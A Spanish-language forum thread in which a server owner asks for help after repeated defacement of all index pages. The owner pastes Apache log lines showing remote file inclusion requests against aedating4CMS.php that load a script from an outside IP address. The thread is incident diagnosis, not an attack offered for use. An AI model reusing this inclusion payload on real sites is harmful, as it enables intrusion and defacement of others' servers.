me hakearon ayuda plis

Bueno pues asi es, me hakearon el server dedicado no se como ni quien, todas mis paginas muestran un mensaje de que ha sido hakeado por estar en usa, es de uno de esos grupos fundamentalistas o algo asi y la verdad no se que hacer, por ahora tumbe el apache para que no muestre nada pero debo solucionarlo. lo extraño es que si descargo por ftp cualquier archivo desde mi server este tiene el codigo html del mensaje y no como estaba antes. esto quiere decir que cambiaron el codigo de cada archivo de mi server?

porfa ayuda gracias

 

Hola apolo gracias por tu respuesta.

bueno el atake consistio en modificar todos los archivos index.php o index.html de mi servidor, intente subirlos de nuevo y arreglar momentaneamente el problema pero entonces ahora fui hakeado por un chileno que hizo exactamente lo mismo cambio los index y me dejo un mensaje diciendo que el podria ayudarme a solucionar los problemas de seguridad Xd.

me recomiendas algun proveedor en especial? economicos y manejados?
yo tengo hostforweb.com no se que tal te parece?

por otro lado sabes como se puede encontrar la vulnerabilidad? y como demonios aran para hacer este cambio? ya modifique mi pass por una muy segura pero ahun asi el chileno este me volvio a hakear.

Un abrazo

 

Hola apolo.

weno estuve en la web que me diste pero por mas que busco no encuentro la forma de contactarlos. por otro lado no conoces algun amigo o alguien aca en colombia que me pueda ayudar en eso? te agradezco

 

Gracias a todos por sus respuestas. voy a estudiar los que me recomendaron

 

Hola.

bueno e estado mirando detenidamente mis logs y lo unico que he encontrado es esto:

CODE, HTML o PHP Insertado:

xx.xxx.xxx.xx - - [03/Sep/2006:21:17:58 -0500] "GET /index.php/inc/cmses/aedating4CMS.php?dir%5binc%5d=http://61.19.55.250/icons/lol1.txt%3f HTTP/1.1" 302 284 "-" "libwww-perl/5.805"
xx.xxx.xxx.xx - - [03/Sep/2006:21:18:03 -0500] "GET /index.php/inc/cmses/aedating4CMS.php?dir[inc]=http://61.19.55.250/icons/lol1.txt? HTTP/1.1" 301 339 "-" "libwww-perl/5.79"
xx.xxx.xxx.xx - - [03/Sep/2006:21:18:03 -0500] "GET /index.php/inc/cmses/aedating4CMS.php?dir%5binc%5d=http://61.19.55.250/icons/lol1.txt%3f HTTP/1.1" 302 284 "-" "libwww-perl/5.79"
xx.xxx.xxx.xx - - [03/Sep/2006:21:18:04 -0500] "GET /index.php/inc/cmses/aedating4CMS.php?dir[inc]=http://61.19.55.250/icons/lol1.txt? HTTP/1.1" 301 339 "-" "libwww-perl/5.79"
xx.xxx.xxx.xx - - [03/Sep/2006:21:18:04 -0500] "GET /index.php/inc/cmses/aedating4CMS.php?dir[inc]=http://61.19.55.250/icons/lol1.txt? HTTP/1.1" 301 339 "-" "libwww-perl/5.803"

se repite esta entrada durante mas de 6 horas y esta justo en la hora en que los index de mi sitio fueron cambiados. la ip desde donde se genera la consulta no siempre es la misma, sera este el problema? recuerdo tener instado el aedating4 en un dominio de pruebas, sera que por este script fue que entraron alli estara la bulneravilidad?

Un saludo

 

Hola apolo gracias por tu ayuda.

bueno trabajare en correjir el problema temporalmente para luego mirar lo del cambio de servidor.

Saludos